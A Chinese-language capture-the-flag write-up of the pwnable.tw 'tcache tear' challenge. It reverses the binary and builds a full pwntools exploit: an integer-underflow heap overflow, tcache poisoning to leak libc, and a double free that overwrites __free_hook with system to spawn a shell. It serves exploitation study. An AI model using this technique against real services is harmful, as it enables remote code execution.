# Pwnable.tw-tcache tear > Author: 堇姬Naup ## analyze code 先IDA逆一波,把函數重新命名 ### main ```c void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { __int64 choice; // rax unsigned int free_chunk_cnt; // [rsp+Ch] [rbp-4h] IOinit(); printf("Name:"); read_str((__int64)&unk_602060, 0x20u); free_chunk_cnt = 0; while ( 1 ) { while ( 1 ) { menu(); choice = read_choice(); if ( choice != 2 ) break; if ( free_chunk_cnt <= 7 ) { free(ptr); ++free_chunk_cnt; } } if ( choice > 2 ) { if ( choice == 3 ) { info(); } else { if ( choice == 4 ) exit(0); LABEL_14: puts("Invalid choice"); } } else { if ( choice != 1 ) goto LABEL_14; create(); } } } ``` 最多只能free 8個chunk 並且會free掉當前最新的chunk ptr 在 bss上,並且沒有開PIE,若能任意寫掉free(ptr),就可以去free想要的地方 有以下功能 ``` puts(" 1. Malloc "); puts(" 2. Free "); puts(" 3. Info "); puts(" 4. Exit "); ``` ### create (malloc) ```c int sub_400B14() { unsigned __int64 v0; // rax int size; // [rsp+8h] [rbp-8h] printf("Size:"); v0 = read_choice(); size = v0; if ( v0 <= 0xFF ) { ptr = malloc(v0); printf("Data:"); read_str((__int64)ptr, size - 16); LODWORD(v0) = puts("Done !"); } return v0; } ``` size不可以小於 0xFF,並且可以寫值到chunk上 ### info 印出 name ,位在0x602060,若能讓libc在name位置上,可以拿來leak libc ```c ssize_t sub_400B99() { printf("Name :"); return write(1, &unk_602060, 0x20uLL); } ``` ## 分析 沒開PIE ![image](https://hackmd.io/_uploads/rJuz-Xa2C.png) 首先我的想法是,如果size小於16,那size - 16會變成一個超大的數字,導致heap overflow,這邊考慮可以打tcache poinsoning到free hook上寫system 之後malloc一塊寫/bin/sh,最後free 我先malloc 一塊大小為0xe 一個大小為 0x60 這樣會拿到一塊 0x20 這樣會拿到一塊 0x70 ``` -------------------------- | 0 | 0x20 | | 0 | 0 | <-ptr1 -------------------------- | 0 | 0x70 | | 0 | 0 | <-ptr2 | | | | | | -------------------------- ``` free 掉兩塊 接下來malloc一塊 0xe 就會拿到 0x20那塊 0xe - 0xf = -1 = 0xfffff... ``` -------------------------- | 0 | 0x20 | | a * 8 | a*8 | <-ptr1 -------------------------- | a * 8 | 0x71 | | fake chunk | 0 | <-ptr2 | | | | | | -------------------------- ``` ``` tcache[0x70] -> chunk 2 -> fake chunk ``` 並且有heap overflow,可以蓋掉fd,之後malloc兩次就可以拿到任意寫 ```python= from pwn import * from NAUP_pwn_lib import * import time from NAUP_filestructure_lib import * def s(payload): return r.send(payload) def sl(payload): return r.sendline(payload) def sla(after, payload): return r.sendlineafter(after, payload) def sa(after, payload): return r.sendafter(after, payload) def rc(num): return r.recv(num) def rcl(): return r.recvline() def rcls(num): return r.recvlines(num) def rcu(payload): return r.recvuntil(payload) def ita(): return r.interactive() def cl(): return r.close() def tsl(): return time.sleep(0.2) context(arch = 'amd64', os = 'linux') REMOTE_LOCAL=input("local?(y/n):") if REMOTE_LOCAL=="y": r=process('./tcachetear') debug_init() else: REMOTE_INFO=split_nc("nc naup.com 2000") REMOTE_IP=REMOTE_INFO[0] REMOTE_PORT=int(REMOTE_INFO[1]) r=remote(REMOTE_IP,REMOTE_PORT) ### heapIO def MALLOC(size, data): sla(b'Your choice :' , b'1') sla(b'Size:' , str(size).encode()) sla(b'Data:' , data) def FREE(): sla(b'Your choice :',b'2') def INFO(): sla(b'Your choice :',b'3') ### exploit p_c(r,'b *0x400bfb') name_bss = 0x602060 #name_payload = p64(0)+p64(0x500) sla(b'Name:',b'aaa') MALLOC(0xe,b'bbb') FREE() MALLOC(0x60,b'ccc') FREE() aaw_payload = p64(0)+p64(0)+p64(0)+p64(0x71)+p64(name_bss-0x10) MALLOC(0xe,aaw_payload) MALLOC(0x60,b'\n') MALLOC(0x60,b'aaaaa') ### ita() ``` 那接下來要想想如何leak libc 這邊想要利用 unsorted bin來leak libc ,但是我們只能malloc小於0xff,這邊的想法是利用任意寫改chunk fd到bss段上偽造一個大小為unsorted bin 的 fake chunk info會印出namespace上的東西,將fake chunk fd偽造到這上面,就可以了 但是unsorted bin free要指向 data,這邊可以透過覆蓋 ``` bss:0000000000602088 ptr ``` 也就是下個要free的位置來修改 pointer,free任意位置 ```python= from pwn import * from NAUP_pwn_lib import * import time from NAUP_filestructure_lib import * def s(payload): return r.send(payload) def sl(payload): return r.sendline(payload) def sla(after, payload): return r.sendlineafter(after, payload) def sa(after, payload): return r.sendafter(after, payload) def rc(num): return r.recv(num) def rcl(): return r.recvline() def rcls(num): return r.recvlines(num) def rcu(payload): return r.recvuntil(payload) def ita(): return r.interactive() def cl(): return r.close() def tsl(): return time.sleep(0.2) context(arch = 'amd64', os = 'linux') REMOTE_LOCAL=input("local?(y/n):") if REMOTE_LOCAL=="y": r=process('./tcachetear') debug_init() else: REMOTE_INFO=split_nc("nc naup.com 2000") REMOTE_IP=REMOTE_INFO[0] REMOTE_PORT=int(REMOTE_INFO[1]) r=remote(REMOTE_IP,REMOTE_PORT) ### heapIO def MALLOC(size, data): sla(b'Your choice :' , b'1') sla(b'Size:' , str(size).encode()) sla(b'Data:' , data) def FREE(): sla(b'Your choice :',b'2') def INFO(): sla(b'Your choice :',b'3') ### exploit #p_c(r,'b *0x400bfb') name_bss = 0x602060 #name_payload = p64(0)+p64(0x500) sla(b'Name:',b'aaa') MALLOC(0xe,b'bbb') FREE() MALLOC(0x60,b'ccc') FREE() aaw_payload = p64(0)+p64(0)+p64(0)+p64(0x71)+p64(name_bss-0x10) MALLOC(0xe,aaw_payload) MALLOC(0x60,b'\n') fake_chunk = p64(0)+p64(0x481)+p64(0)*5+p64(0x602060) MALLOC(0x60,fake_chunk) FREE() ### ita() ``` 吃 double free or corruption (!prev) 感覺是連下一塊都要偽造 ```python= from pwn import * from NAUP_pwn_lib import * import time from NAUP_filestructure_lib import * def s(payload): return r.send(payload) def sl(payload): return r.sendline(payload) def sla(after, payload): return r.sendlineafter(after, payload) def sa(after, payload): return r.sendafter(after, payload) def rc(num): return r.recv(num) def rcl(): return r.recvline() def rcls(num): return r.recvlines(num) def rcu(payload): return r.recvuntil(payload) def ita(): return r.interactive() def cl(): return r.close() def tsl(): return time.sleep(0.2) context(arch = 'amd64', os = 'linux') REMOTE_LOCAL=input("local?(y/n):") if REMOTE_LOCAL=="y": r=process('./tcachetear') debug_init() else: REMOTE_INFO=split_nc("nc chall.pwnable.tw 10207") REMOTE_IP=REMOTE_INFO[0] REMOTE_PORT=int(REMOTE_INFO[1]) r=remote(REMOTE_IP,REMOTE_PORT) ### heapIO def MALLOC(size, data): sla(b'Your choice :' , b'1') sla(b'Size:' , str(size).encode()) sla(b'Data:' , data) def FREE(): sla(b'Your choice :',b'2') def INFO(): sla(b'Your choice :',b'3') ### exploit #p_c(r,'b *0x400bfb') name_bss = 0x602060 #name_payload = p64(0)+p64(0x500) sla(b'Name:',b'aaa') MALLOC(0xe,b'fff') FREE() MALLOC(0x80,b'rrr') FREE() next_fake_addr = name_bss - 0x10 + 0x500 aaw_fake_chunk_payload = p64(0)*3 + p64(0x91) + p64(next_fake_addr) MALLOC(0xe, aaw_fake_chunk_payload) MALLOC(0x80,b'\n') next_fake_chunk = p64(0)+p64(0x21) + p64(0) * 3 + p64(0x21) MALLOC(0x80,next_fake_chunk) #### MALLOC(0xe,b'bbb') FREE() MALLOC(0x60,b'ccc') FREE() aaw_payload = p64(0)+p64(0)+p64(0)+p64(0x71)+p64(name_bss-0x10) MALLOC(0xe,aaw_payload) MALLOC(0x60,b'\n') fake_chunk = p64(0)+p64(0x501)+p64(0)*5+p64(0x602060) MALLOC(0x60,fake_chunk) FREE() INFO() rcu(b'Name :') leaklibc = u64(rcl()[:8]) libc_offset = 0x3ebca0 libc_base = leaklibc - libc_offset NAUPINFO('LEAK LIBC',hex(leaklibc)) NAUPINFO('LIBC BASE',hex(libc_base)) ### ita() ``` 這樣就成功leak libc了 目前用了5個FREE 加上寫掉 free_hook的兩個free,跟觸發free_hook的一個free,剛剛好 這邊再打一輪 tcache poinsoning 到free_hook,改成system 開一個 shell 這邊chunk狀況其實有點混亂了,所以最後改打double free來寫free hook,一樣用到兩個FREE ``` tcache[0x50] -> chunk -> chunk -> chunk -> ... ``` ``` tcache[0x50] -> chunk -> free_hook ``` 之後malloc一塊,此時free指向該chunk data,寫上/bin/sh再來free掉就會是 system('/bin/sh') ### exploit ```python= from pwn import * from NAUP_pwn_lib import * import time from NAUP_filestructure_lib import * def s(payload): return r.send(payload) def sl(payload): return r.sendline(payload) def sla(after, payload): return r.sendlineafter(after, payload) def sa(after, payload): return r.sendafter(after, payload) def rc(num): return r.recv(num) def rcl(): return r.recvline() def rcls(num): return r.recvlines(num) def rcu(payload): return r.recvuntil(payload) def ita(): return r.interactive() def cl(): return r.close() def tsl(): return time.sleep(0.2) context(arch = 'amd64', os = 'linux') REMOTE_LOCAL=input("local?(y/n):") if REMOTE_LOCAL=="y": r=process('./tcachetear') debug_init() else: REMOTE_INFO=split_nc("nc chall.pwnable.tw 10207") REMOTE_IP=REMOTE_INFO[0] REMOTE_PORT=int(REMOTE_INFO[1]) r=remote(REMOTE_IP,REMOTE_PORT) ### heapIO def MALLOC(size, data): sla(b'Your choice :' , b'1') sla(b'Size:' , str(size).encode()) sla(b'Data:' , data) def FREE(): sla(b'Your choice :',b'2') def INFO(): sla(b'Your choice :',b'3') ### exploit #p_c(r,'b *0x400bfb') name_bss = 0x602060 #name_payload = p64(0)+p64(0x500) sla(b'Name:',b'aaa') MALLOC(0xe,b'fff') FREE() MALLOC(0x80,b'rrr') FREE() next_fake_addr = name_bss - 0x10 + 0x500 aaw_fake_chunk_payload = p64(0)*3 + p64(0x91) + p64(next_fake_addr) MALLOC(0xe, aaw_fake_chunk_payload) MALLOC(0x80,b'\n') next_fake_chunk = p64(0)+p64(0x21) + p64(0) * 3 + p64(0x21) MALLOC(0x80,next_fake_chunk) #### MALLOC(0xe,b'bbb') FREE() MALLOC(0x60,b'ccc') FREE() aaw_payload = p64(0)+p64(0)+p64(0)+p64(0x71)+p64(name_bss-0x10) MALLOC(0xe,aaw_payload) MALLOC(0x60,b'\n') fake_chunk = p64(0)+p64(0x501)+p64(0)*5+p64(0x602060) MALLOC(0x60,fake_chunk) FREE() INFO() rcu(b'Name :') leaklibc = u64(rcl()[:8]) libc_offset = 0x3ebca0 libc_base = leaklibc - libc_offset NAUPINFO('LEAK LIBC',hex(leaklibc)) NAUPINFO('LIBC BASE',hex(libc_base)) free_hook_libc = libc_base + 0x3ed8e8 system_libc = libc_base + 0x4f440 MALLOC(0x40,b'kkk') FREE() FREE() MALLOC(0x40,p64(free_hook_libc)) MALLOC(0x40,p64(free_hook_libc)) NAUPINFO('freehook',hex(free_hook_libc)) NAUPINFO('system',hex(system_libc)) MALLOC(0x40,p64(system_libc)) MALLOC(0x30,b'/bin/sh\x00') FREE() ### ita() ``` 串起了 integer overflow 、 tcache poinsoning 、double free,終於排完了 ![image](https://hackmd.io/_uploads/SyjIxRanC.png)